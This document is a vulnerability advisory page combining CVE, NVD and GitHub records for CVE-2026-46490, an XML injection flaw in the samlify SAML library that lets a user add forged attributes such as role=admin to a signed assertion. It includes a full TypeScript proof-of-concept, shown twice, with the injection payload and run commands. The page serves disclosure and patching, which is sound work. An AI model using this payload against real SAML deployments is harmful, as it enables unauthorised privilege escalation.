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CVE-2026-46490 (GCVE-0-2026-46490)

Vulnerability from cvelistv5 – Published: 2026-06-08 18:41 – Updated: 2026-06-09 15:13

Title

samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions

Summary

samlify is a Node.js library for SAML single sign-on. Prior to version 2.13.0, samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups). This issue has been patched in version 2.13.0.

Severity

8.7 (High)


                        
                          CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-06-09 14:51 UTC

CWE

CWE-91 - XML Injection (aka Blind XPath Injection)

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7820 records in the last 180 days details

References

1 reference

URL	Tags
https://github.com/tngan/samlify/security/advisor…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version	CPE status
tngan	samlify	Affected: < 2.13.0	guessed

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FKIE_CVE-2026-46490

Vulnerability from fkie_nvd - Published: 2026-06-08 19:16 - Updated: 2026-07-23 08:10

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
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	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	samlify_project	samlify	*

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}

GHSA-34R5-Q4JW-R36M

Vulnerability from github – Published: 2026-05-21 17:14 – Updated: 2026-06-09 13:12

Summary

samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions

Details

Summary

samlify’s template substitution only escapes attribute contexts. Values inserted into element text (e.g., <saml:AttributeValue>) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new <saml:Attribute> elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).

Root Cause

src/libsaml.ts → replaceTagsByValue() only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:

<saml:AttributeValue ...>{attrUserX}</saml:AttributeValue>

Therefore, </saml:AttributeValue>…<saml:Attribute …> is accepted and signed.

Proof-of-concept

poc/attribute_injection.ts

import { readFileSync } from 'fs';
import * as samlify from '../index';
import * as validator from '@authenio/samlify-xsd-schema-validator';

samlify.setSchemaValidator(validator);

const { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;

const loginResponseTemplate = {
  context: '<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="{ID}" Version="2.0" IssueInstant="{IssueInstant}" Destination="{Destination}" InResponseTo="{InResponseTo}"><saml:Issuer>{Issuer}</saml:Issuer><samlp:Status><samlp:StatusCode Value="{StatusCode}"/></samlp:Status><saml:Assertion ID="{AssertionID}" Version="2.0" IssueInstant="{IssueInstant}" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion"><saml:Issuer>{Issuer}</saml:Issuer><saml:Subject><saml:NameID Format="{NameIDFormat}">{NameID}</saml:NameID><saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.0:cm:bearer"><saml:SubjectConfirmationData NotOnOrAfter="{SubjectConfirmationDataNotOnOrAfter}" Recipient="{SubjectRecipient}" InResponseTo="{InResponseTo}"/></saml:SubjectConfirmation></saml:Subject><saml:Conditions NotBefore="{ConditionsNotBefore}" NotOnOrAfter="{ConditionsNotOnOrAfter}"><saml:AudienceRestriction><saml:Audience>{Audience}</saml:Audience></saml:AudienceRestriction></saml:Conditions>{AttributeStatement}</saml:Assertion></samlp:Response>',
  attributes: [
    { name: 'mail', valueTag: 'user.email', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
    { name: 'injection', valueTag: 'user.injection', nameFormat: 'urn:oasis:names:tc:SAML:2.0:attrname-format:basic', valueXsiType: 'xs:string' },
  ],
};

const idp = IdentityProvider({
  privateKey: readFileSync('./test/key/idp/privkey.pem'),
  privateKeyPass: 'q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/idpmeta.xml'),
  loginResponseTemplate,
});

const sp = ServiceProvider({
  privateKey: readFileSync('./test/key/sp/privkey.pem'),
  privateKeyPass: 'VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px',
  isAssertionEncrypted: false,
  metadata: readFileSync('./test/misc/spmeta.xml'),
});

const buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) => (template: string) => {
  const now = new Date();
  const fiveMinutesLater = new Date(now.getTime() + 300_000);
  const tvalue = {
    ID: _idp.entitySetting.generateID(),
    AssertionID: _idp.entitySetting.generateID(),
    Destination: _sp.entityMeta.getAssertionConsumerService('post'),
    Audience: _sp.entityMeta.getEntityID(),
    SubjectRecipient: _sp.entityMeta.getAssertionConsumerService('post'),
    NameIDFormat: 'urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress',
    NameID: user.email,
    Issuer: _idp.entityMeta.getEntityID(),
    IssueInstant: now.toISOString(),
    ConditionsNotBefore: now.toISOString(),
    ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),
    SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),
    InResponseTo: 'request-id',
    StatusCode: 'urn:oasis:names:tc:SAML:2.0:status:Success',
    attrUserEmail: user.email,
    attrUserInjection: user.injection,
  };

  return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };
};

async function main() {
  const injection = [
    'safe',
    '</saml:AttributeValue></saml:Attribute>',
    '<saml:Attribute Name="role" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">admin</saml:AttributeValue>',
    '</saml:Attribute>',
    '<saml:Attribute Name="injection" NameFormat="urn:oasis:names:tc:SAML:2.0:attrname-format:basic">',
    '<saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="xs:string">safe'
  ].join('');

  const user = { email: 'user@esaml2.com', injection };
  const { context: SAMLResponse } = await idp.createLoginResponse(
    sp,
    { extract: { request: { id: 'request-id' } } },
    'post',
    user,
    buildTemplate(idp, sp, 'post', user)
  );

  const xml = util.base64Decode(SAMLResponse, true).toString();
  console.log('--- Generated XML snippet ---');
  console.log(xml.slice(xml.indexOf('<saml:AttributeStatement'), xml.indexOf('</saml:AttributeStatement>') + 26));

  const { extract } = await sp.parseLoginResponse(idp, 'post', { body: { SAMLResponse } });

  console.log('Parsed attributes:', extract.attributes);
}

main().catch(err => {
  console.error('PoC failed:', err?.message || err);
  process.exitCode = 1;
});

Run:

  npm install --legacy-peer-deps
  npx ts-node poc/attribute_injection.ts

Impact

A normal user can inject arbitrary attributes (e.g., role=admin) into a signed assertion and have them parsed by sp.parseLoginResponse(). This can grant elevated privileges in SPs that trust SAML attributes.

Severity

8.7 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "samlify"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-46490"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-91"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-21T17:14:07Z",
    "nvd_published_at": "2026-06-08T19:16:45Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nsamlify\u2019s template substitution only escapes attribute contexts. Values inserted into element text (e.g., `\u003csaml:AttributeValue\u003e`) are not escaped. A normal user can inject XML markup into an attribute value (e.g., email, name) and add new `\u003csaml:Attribute\u003e` elements inside the signed assertion. The IdP then signs the tampered assertion and the SP accepts the injected attributes as trusted. This allows privilege escalation when attributes are used for authorization (roles/groups).\n\n## Root Cause\n\n`src/libsaml.ts` \u2192 `replaceTagsByValue()` only escapes placeholders when preceded by a quote (attribute context). Element text is inserted raw. The attribute builder inserts placeholders into element text:\n\n```\n\u003csaml:AttributeValue ...\u003e{attrUserX}\u003c/saml:AttributeValue\u003e\n```\n\nTherefore, `\u003c/saml:AttributeValue\u003e\u2026\u003csaml:Attribute \u2026\u003e` is accepted and signed.\n\n## Proof-of-concept\n\n- poc/attribute_injection.ts\n\n```TS\nimport { readFileSync } from \u0027fs\u0027;\nimport * as samlify from \u0027../index\u0027;\nimport * as validator from \u0027@authenio/samlify-xsd-schema-validator\u0027;\n\nsamlify.setSchemaValidator(validator);\n\nconst { IdentityProvider, ServiceProvider, SamlLib: libsaml, Utility: util } = samlify as any;\n\nconst loginResponseTemplate = {\n  context: \u0027\u003csamlp:Response xmlns:samlp=\"urn:oasis:names:tc:SAML:2.0:protocol\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\" ID=\"{ID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" Destination=\"{Destination}\" InResponseTo=\"{InResponseTo}\"\u003e\u003csaml:Issuer\u003e{Issuer}\u003c/saml:Issuer\u003e\u003csamlp:Status\u003e\u003csamlp:StatusCode Value=\"{StatusCode}\"/\u003e\u003c/samlp:Status\u003e\u003csaml:Assertion ID=\"{AssertionID}\" Version=\"2.0\" IssueInstant=\"{IssueInstant}\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:saml=\"urn:oasis:names:tc:SAML:2.0:assertion\"\u003e\u003csaml:Issuer\u003e{Issuer}\u003c/saml:Issuer\u003e\u003csaml:Subject\u003e\u003csaml:NameID Format=\"{NameIDFormat}\"\u003e{NameID}\u003c/saml:NameID\u003e\u003csaml:SubjectConfirmation Method=\"urn:oasis:names:tc:SAML:2.0:cm:bearer\"\u003e\u003csaml:SubjectConfirmationData NotOnOrAfter=\"{SubjectConfirmationDataNotOnOrAfter}\" Recipient=\"{SubjectRecipient}\" InResponseTo=\"{InResponseTo}\"/\u003e\u003c/saml:SubjectConfirmation\u003e\u003c/saml:Subject\u003e\u003csaml:Conditions NotBefore=\"{ConditionsNotBefore}\" NotOnOrAfter=\"{ConditionsNotOnOrAfter}\"\u003e\u003csaml:AudienceRestriction\u003e\u003csaml:Audience\u003e{Audience}\u003c/saml:Audience\u003e\u003c/saml:AudienceRestriction\u003e\u003c/saml:Conditions\u003e{AttributeStatement}\u003c/saml:Assertion\u003e\u003c/samlp:Response\u003e\u0027,\n  attributes: [\n    { name: \u0027mail\u0027, valueTag: \u0027user.email\u0027, nameFormat: \u0027urn:oasis:names:tc:SAML:2.0:attrname-format:basic\u0027, valueXsiType: \u0027xs:string\u0027 },\n    { name: \u0027injection\u0027, valueTag: \u0027user.injection\u0027, nameFormat: \u0027urn:oasis:names:tc:SAML:2.0:attrname-format:basic\u0027, valueXsiType: \u0027xs:string\u0027 },\n  ],\n};\n\nconst idp = IdentityProvider({\n  privateKey: readFileSync(\u0027./test/key/idp/privkey.pem\u0027),\n  privateKeyPass: \u0027q9ALNhGT5EhfcRmp8Pg7e9zTQeP2x1bW\u0027,\n  isAssertionEncrypted: false,\n  metadata: readFileSync(\u0027./test/misc/idpmeta.xml\u0027),\n  loginResponseTemplate,\n});\n\nconst sp = ServiceProvider({\n  privateKey: readFileSync(\u0027./test/key/sp/privkey.pem\u0027),\n  privateKeyPass: \u0027VHOSp5RUiBcrsjrcAuXFwU1NKCkGA8px\u0027,\n  isAssertionEncrypted: false,\n  metadata: readFileSync(\u0027./test/misc/spmeta.xml\u0027),\n});\n\nconst buildTemplate = (_idp: any, _sp: any, _binding: any, user: any) =\u003e (template: string) =\u003e {\n  const now = new Date();\n  const fiveMinutesLater = new Date(now.getTime() + 300_000);\n  const tvalue = {\n    ID: _idp.entitySetting.generateID(),\n    AssertionID: _idp.entitySetting.generateID(),\n    Destination: _sp.entityMeta.getAssertionConsumerService(\u0027post\u0027),\n    Audience: _sp.entityMeta.getEntityID(),\n    SubjectRecipient: _sp.entityMeta.getAssertionConsumerService(\u0027post\u0027),\n    NameIDFormat: \u0027urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress\u0027,\n    NameID: user.email,\n    Issuer: _idp.entityMeta.getEntityID(),\n    IssueInstant: now.toISOString(),\n    ConditionsNotBefore: now.toISOString(),\n    ConditionsNotOnOrAfter: fiveMinutesLater.toISOString(),\n    SubjectConfirmationDataNotOnOrAfter: fiveMinutesLater.toISOString(),\n    InResponseTo: \u0027request-id\u0027,\n    StatusCode: \u0027urn:oasis:names:tc:SAML:2.0:status:Success\u0027,\n    attrUserEmail: user.email,\n    attrUserInjection: user.injection,\n  };\n\n  return { id: tvalue.ID, context: libsaml.replaceTagsByValue(template, tvalue) };\n};\n\nasync function main() {\n  const injection = [\n    \u0027safe\u0027,\n    \u0027\u003c/saml:AttributeValue\u003e\u003c/saml:Attribute\u003e\u0027,\n    \u0027\u003csaml:Attribute Name=\"role\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\"\u003e\u0027,\n    \u0027\u003csaml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\"\u003eadmin\u003c/saml:AttributeValue\u003e\u0027,\n    \u0027\u003c/saml:Attribute\u003e\u0027,\n    \u0027\u003csaml:Attribute Name=\"injection\" NameFormat=\"urn:oasis:names:tc:SAML:2.0:attrname-format:basic\"\u003e\u0027,\n    \u0027\u003csaml:AttributeValue xmlns:xs=\"http://www.w3.org/2001/XMLSchema\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"xs:string\"\u003esafe\u0027\n  ].join(\u0027\u0027);\n\n  const user = { email: \u0027user@esaml2.com\u0027, injection };\n  const { context: SAMLResponse } = await idp.createLoginResponse(\n    sp,\n    { extract: { request: { id: \u0027request-id\u0027 } } },\n    \u0027post\u0027,\n    user,\n    buildTemplate(idp, sp, \u0027post\u0027, user)\n  );\n\n  const xml = util.base64Decode(SAMLResponse, true).toString();\n  console.log(\u0027--- Generated XML snippet ---\u0027);\n  console.log(xml.slice(xml.indexOf(\u0027\u003csaml:AttributeStatement\u0027), xml.indexOf(\u0027\u003c/saml:AttributeStatement\u003e\u0027) + 26));\n\n  const { extract } = await sp.parseLoginResponse(idp, \u0027post\u0027, { body: { SAMLResponse } });\n\n  console.log(\u0027Parsed attributes:\u0027, extract.attributes);\n}\n\nmain().catch(err =\u003e {\n  console.error(\u0027PoC failed:\u0027, err?.message || err);\n  process.exitCode = 1;\n});\n```\n\n**Run:**\n\n```\n  npm install --legacy-peer-deps\n  npx ts-node poc/attribute_injection.ts\n```\n\n## Impact \n\nA normal user can inject arbitrary attributes (e.g., `role=admin`) into a signed assertion and have them parsed by `sp.parseLoginResponse()`. This can grant elevated privileges in SPs that trust SAML attributes.",
  "id": "GHSA-34r5-q4jw-r36m",
  "modified": "2026-06-09T13:12:28Z",
  "published": "2026-05-21T17:14:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tngan/samlify/security/advisories/GHSA-34r5-q4jw-r36m"
    },
    {
      "type": "ADVISORY",
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    },
    {
      "type": "PACKAGE",
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      "type": "CVSS_V4"
    }
  ],
  "summary": "samlify: XML Injection in AttributeValue Allows Privilege Escalation in Signed SAML Assertions"
}

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